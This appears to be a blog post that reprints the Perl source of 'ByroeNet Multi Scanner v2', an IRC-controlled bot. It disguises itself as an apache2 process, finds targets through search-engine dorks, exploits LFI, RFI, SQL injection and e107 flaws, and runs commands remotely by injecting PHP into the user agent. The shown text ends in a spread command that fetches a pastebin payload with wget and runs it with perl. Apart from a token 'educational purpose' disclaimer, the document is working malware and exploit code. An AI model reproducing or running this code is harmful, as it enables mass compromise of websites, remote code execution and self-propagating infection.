jueves, 17 de noviembre de 2011

RFI-LFI-SQL-XML-e107 Scanner (IRC-Bot)

#!/usr/bin/perl
$powered="ByroeNet";
$mail="admin(at)byroe.net";
  #####################################################################################
  ##                                                                                 ##
  ##                                                                   17/06/2010    ##
  ##  Author  : ByroeNet Team                                                        ##
  ##  Team    : Irc.Byroe.Net                                                        ##
  ##  Regrets : Voo_Doo                                                              ##
  ##                                                                                 ##
  ##  ## IMPORTANT ##                                                                ##
  ##   # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY          ##
  ##   # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !!                     ##
  ##   # THIS TOOL HAS BEEN MADE TO HELP NET ADMINISTRATORS TO MAKE THEIR            ##
  ##   # SYSTEM MORE SECURE.                                                         ##
  ##  ##                                                                             ##
  ##                                                                                 ##
  ##  Features:                                                                      ##
  ##    [+]Sql Injection Scanner                                                     ##
  ##    [+]e107 Scanner                                                              ##
  ##    [+]XML (Extensible Markup Language) Injection Scanner                        ##
  ##    [+]Remote File Inclusion Scanner                                             ##
  ##    [+]Local File Inclusion Scanner                                              ##
  ##    [+]RCE r107 / LFI / XML                                                      ##
  ##    [+]Integrated Shell, so you can execute commands on the server               ##
  ##    [+]Spread Mode, to activate or disable Spread Function                       ##
  ##                                                                                 ##
  #####################################################################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use HTTP::Request::Common;
use LWP::Simple;
use LWP 5.64;
use HTTP::Request::Common qw(POST);
use Digest::MD5 qw(md5_hex);
use MIME::Base64;
my $fakeproc      = "/usr/sbin/apache2 -k start";
$ircserver        = "irc.byroe.net";
my $ircport       = "6667";
my $nickname      = "ByroeNet";
my $ident         = "ByroeNet";
my $channel       = "#maniak";
my $runner        = "ByroeNet";
my $fullname      = 'ByroeNet New Scanner';
my $lfi             = "!lfi";
my $xml              = "!xml";
my $e107        = "!e107";
my $sql              = "!sql";
my $rfi              = "!rfi";
my $cmdlfi        = "!cmdlfi";
my $cmde107     = "!cmde107";
my $cmdxml        = "!cmdxml";
my $rspo_test   = "../../../../../../../../../../../../../../../proc/self/environ";
my $rfiid       = "http://pastebin.com/raw.php?i=0qvxtQf6?";
my $byroesprd   = "http://pastebin.com/raw.php?i=xA6hdAb1";
my @tabele        = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
                    'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
                    'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
                    'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
                    'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
                    'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
                    'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
                    'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
                    'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
                    'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
my @kolumny        = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
                    'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
                    'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
                    'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
                    'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
                    'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
$SIG{'INT'}       = 'IGNORE';
$SIG{'HUP'}       = 'IGNORE';
$SIG{'TERM'}      = 'IGNORE';
$SIG{'CHLD'}      = 'IGNORE';
$SIG{'PS'}        = 'IGNORE';
chdir("/tmp");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
&SIGN();
my $pid = fork;
exit if $pid;
die "\n [!] Something Wrong !!!: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
    if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
        print $IRC_cur_socket "$_[0]\n";
    }
}
sub connector {
    my $mynick = $_[0];
    my $ircserver_con = $_[1];
    my $ircport_con = $_[2];
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
    if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_client->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
        nick("$mynick");
        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
        sleep 1;
    }
}
sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
        if ($args =~ /^\001VERSION\001$/) {
            notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
        }
        if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
        }
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
        if (lc($1) eq lc($mynick)) {
            $mynick=$4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        }
    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
        nick("$mynick|".int rand(9999));
    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
        $mynick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        sendraw("MODE $nickname +Bx");
        sendraw("JOIN $channel");
        sendraw("PRIVMSG $channel :Hello, I`m Ready To Scanner");
        sendraw("PRIVMSG $runner :Hi $runner im here !!!");
    }
}
my $line_temp;
while( 1 ) {
    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
    foreach $fh (@ready) {
        $IRC_cur_socket = $fh;
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $msg, 4096);
        if ($nread == 0) {
            $sel_client->remove($fh);
            $fh->close;
            delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $msg);
        $msg =~ s/\r\n$//;
        if ($msg=~ /PRIVMSG $channel :!help/){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 ################## Vuln Scanner ################### ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 #      ( $rfi/$lfi/$sql/$xml ) [bug] [dork]       # ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 ################### RCE Command ################### ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 #                  $e107 [dork]                   # ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 ################# Execute Command ################# ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 # ( $cmde107 /$cmdlfi / $cmdxml ) [target] [cmd]  # ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 ################### md5 Command ################### ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 #                   !dec / !enc                   # ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 #################### BOT Info ##################### ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 #   !respon | !engine | !pid | !version | !about  # ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Help 15) 10 ################################################### ");
        }
        if ($msg=~ /PRIVMSG $channel :!version/){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Version 15) 10 Multi Scanner v2 ");
        }
        if ($msg=~ /PRIVMSG $channel :!engine/){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Engine 15) 10 Google, Bing, AllTheWeb, Altavista, ASK, UOL, Yahoo. ");
        }
        if ($msg=~ /PRIVMSG $channel :!pid/){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3PID 15) 10 Process/ID : 4 $fakeproc - $$ ");
        }
        if ($msg=~ /PRIVMSG $channel :!about/){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3About 15) 3 Multi Scanner v2 ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3About 15) 3 Coded by BaMbY ");
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3About 15) 3 Copyright © 2010 ByroeNet ");
        }
        ##################################################################### CMD IRC
        if ($msg=~ /PRIVMSG $channel :!enc\s+(.*)/){
            my $enc = $1;
            &enc($enc);
        }
        if ($msg=~ /PRIVMSG $channel :!dec\s+(.*)/){
            my $dec = $1;
            &dec($dec);
        }
        if ($msg=~ /PRIVMSG $channel :!btjoin\s+(.*)/){
            my $cnls = $1;
            &join($cnls);
        }
        if ($msg=~ /PRIVMSG $channel :!btpart\s+(.*)/){
            my $cnls = $1;
            &part($cnls);
        }
        if ($msg=~ /PRIVMSG $channel :!okdeh\s+(.*)/){
            my $cnls = $1;
            &quit($cnls);
        }
        if ($msg=~ /PRIVMSG $channel :!respon/){
            my $re = query($rfiid);
            if ( $re =~ /ByroeNet/ ) {
                sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Info 15) 3 Response is working ! ");
            }
            else {
                sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3Info 15) 3 Response is 4NOT 3 working ! ");
            }
        }
        ##################################################################### CMD LFI
        if ($msg=~ /PRIVMSG $channel :$cmdlfi\s+(.*?)\s+(.*)/){
            my $url = $1."../../../../../../../../../../../../../../../proc/self/environ";
            my $cmd = $2;
            &cmdlfi($url,$cmd);
        }
        #####################################################################
        #####################         LFI LFI LFI         ###################
        ##################################################################### Google Engine
        if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "GooGLe";
                    my $bugx = $1;
                    my $d0rk = $2;
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3LFI 15) 10 Dork : 4 $d0rk ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3LFI 15) 10 File : 4 $bugx ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3LFI 15) 7 Search Engine Loading ... ");
                    &lfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### AllTheWeb Engine
        if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AllTheWeb";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &lfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Bing Engine
        if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "Bing";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &lfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Altavista Engine
        if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "ALtaViSTa";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &lfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### ASK Engine
        if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AsK";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &lfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### UoL Engine
        if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "UoL";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &lfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Yahoo Engine
        if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "YahOo";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &lfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }
        #####################################################################
        #####################         XML XML XML         ###################
        #####################################################################
        if ($msg=~ /PRIVMSG $channel :$cmdxml\s+(.*?)\s+(.*)/){
            my $url = $1;
            my $cmd = $2;
            &cmdxml($url,$cmd);
        }
        ##################################################################### GooGle Engine       
        if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "GooGLe";
                    my $bugx = $1;
                    my $d0rk = $2;
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3XML 15) 10 Dork : 4 $d0rk ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3XML 15) 10 File : 4 $bugx ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3XML 15) 7 Search Engine Loading ... ");
                    &xmlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }
        ##################################################################### AllTheWeb Engine
        if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AllTheWeb";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &xmlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Bing Engine
        if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "Bing";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &xmlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Altavista Engine
        if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "ALtaViSTa";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &xmlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### ASK Engine
        if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AsK";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &xmlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### UoL Engine
        if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "UoL";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &xmlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Yahoo Engine
        if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "YahOo";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &xmlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }
       
        #####################################################################
        #####################         RFI RFI RFI         ###################
        ##################################################################### GooGle Engine       
       
        if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "GooGLe";
                    my $bugx = $1;
                    my $d0rk = $2;
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3RFI 15) 10 Dork : 4 $d0rk ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3RFI 15) 10 File : 4 $bugx ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3RFI 15) 7 Search Engine Loading ... ");
                    &rfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### AllTheWeb Engine
        if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AllTheWeb";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &rfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Bing Engine
        if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "Bing";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &rfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Altavista Engine
        if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "ALtaViSTa";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &rfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### ASK Engine
        if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AsK";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &rfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### UoL Engine
        if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "UoL";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &rfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Yahoo Engine
        if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "YahOo";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &rfiscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }
        #####################################################################
        #####################         SQL SQL SQL         ###################
        ##################################################################### GooGle Engine       
       
        if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "GooGLe";
                    my $bugx = $1;
                    my $d0rk = $2;
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15) 10 Dork : 4 $d0rk ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15) 10 File : 4 $bugx ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15) 7 Search Engine Loading ... ");
                    &sqlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### AllTheWeb Engine
        if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AllTheWeb";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &sqlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Bing Engine
        if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "Bing";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &sqlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Altavista Engine
        if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "ALtaViSTa";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &sqlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### ASK Engine
        if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AsK";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &sqlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### UoL Engine
        if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "UoL";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &sqlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Yahoo Engine
        if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "YahOo";
                    my $bugx = $1;
                    my $d0rk = $2;
                    &sqlscan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }
        #####################################################################
        #####################       e107 e107 e107        ###################
        ##################################################################### GooGle Engine       
        if ($msg=~ /PRIVMSG $channel :$cmde107\s+(.*?)\s+(.*)/){
            my $url = $1;
            my $cmd = $2;
            &cmde107($url,$cmd);
        }
        if ($msg=~ /PRIVMSG $channel :$e107\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "GooGLe";
                    my $bugx = "/contact.php";
                    my $d0rk = $1;
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3e107 15) 10 Dork : 4 $d0rk ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3e107 15) 10 File : 4 $bugx ");
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3e107 15) 7 Search Engine Loading ... ");
                    &e107scan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### AllTheWeb Engine
        if ($msg=~ /PRIVMSG $channel :$e107\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AllTheWeb";
                    my $bugx = "/contact.php";
                    my $d0rk = $1;
                    &e107scan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Bing Engine
        if ($msg=~ /PRIVMSG $channel :$e107\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "Bing";
                    my $bugx = "/contact.php";
                    my $d0rk = $1;
                    &e107scan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Altavista Engine
        if ($msg=~ /PRIVMSG $channel :$e107\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "ALtaViSTa";
                    my $bugx = "/contact.php";
                    my $d0rk = $1;
                    &e107scan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### ASK Engine
        if ($msg=~ /PRIVMSG $channel :$e107\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "AsK";
                    my $bugx = "/contact.php";
                    my $d0rk = $1;
                    &e107scan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### UoL Engine
        if ($msg=~ /PRIVMSG $channel :$e107\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "UoL";
                    my $bugx = "/contact.php";
                    my $d0rk = $1;
                    &e107scan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }

        ##################################################################### Yahoo Engine
        if ($msg=~ /PRIVMSG $channel :$e107\s+(.*)/ ) {
            if (my $pid = fork) {
                waitpid($pid, 0);
            }
            else {
                if (fork) {    exit; } else {
                    my $engx = "YahOo";
                    my $bugx = "/contact.php";
                    my $d0rk = $1;
                    &e107scan($engx,$bugx,$d0rk);
                }
                exit;
            }
        }
        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line=$line_temp.$line if ($line_temp);
            $line_temp='';
            $line =~ s/\r$//;
            unless ($c == $#lines) {
                parse("$line");
            } else {
                if ($#lines == 0) {
                    parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    parse("$line");
                } else {
                    $line_temp = $line;
                }
            }
        }
    }
}
##################################################################### Procedure
sub cmdlfi() {
my $browser = LWP::UserAgent->new;
my $url = $_[0];
my $cmd = $_[1];
my $hie = "j13mbut<?system(\"$cmd 2> /dev/stdout\"); ?>j13mbut";
$browser->agent("$hie");
$browser->timeout(3);
$response = $browser->get( $url );
if ($response->content =~ /j13mbut(.*)j13mbut/s) {
print $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3LFICMD 15) 4 $1 ");
}
}

sub lfiscan() {
    my $engz = $_[0];
    my $bugz = $_[1];
    my $dork = $_[2];
    my $contatore = 0;   
    if ($engz =~ /GooGLe/) {
        my @lfigoogle=&google($dork);
        push(@lfitotal, @lfigoogle);
        }
    if ($engz =~ /AllTheWeb/) {
        my @lfialltheweb=&alltheweb($dork);
        push(@lfitotal, @lfialltheweb);
    }
    if ($engz =~ /Bing/) {
        my @lfiBing=&Bing($dork);
        push(@lfitotal, @lfiBing);
    }
    if ($engz =~ /ALtaViSTa/) {
        my @lfialtavista=&altavista($dork);
        push(@lfitotal, @lfialtavista);
    }
    if ($engz =~ /AsK/) {
        my @lfiask=&ask($dork);
        push(@lfitotal, @lfiask);
    }
    if ($engz =~ /UoL/) {
        my @lfiuol=&uol($dork);
        push(@lfitotal, @lfiuol);
    }
    if ($engz =~ /YahOo/) {
        my @lfiyahoo=&yahoo($dork);
        push(@lfitotal, @lfiyahoo);
    }
    my @lficlean = &calculate(@lfitotal);
    if (scalar(@clean) != 0) {
    }
    my $uni=scalar(@lficlean);
    foreach my $lfitarget (@lficlean)
    {
        $contatore++;
        if ($contatore==$uni-1){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3LFI 15)( 4@ 3$engz 15) 10 Scan Finish for 14 $dork ");
        }
        my $lfi  = "../../../../../../../../../../../../../../..";
        my $xpl  = "http://".$lfitarget.$bugz.$rspo_test;
        my $vuln = "http://".$lfitarget." 12".$bugz." 7".$rspo_test." ";
        my $re   = getcontent($xpl);
        if ($re  =~ /DOCUMENT_ROOT=\// && $re =~ /HTTP_USER_AGENT/){
            if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                my $rspo = lfiexploit($xpl,"uname -svnrp;echo J13mb0T;id");
                $rspo =~ s/\n//g;
                if ($rspo =~ /j13mb0t#(.*)J13mb0Tuid=(.*)#j13mb0t/sg) {
                    my ($sys,$uid) = ($1,$2);
                    my $lfispread    = "cd /tmp;lwp-download $byroesprd -O php.jpg;perl php.jpg;rm -rf *.jpg*;wget $byroesprd -O php.jpg;perl php.jpg;rm -rf *.jpg*";
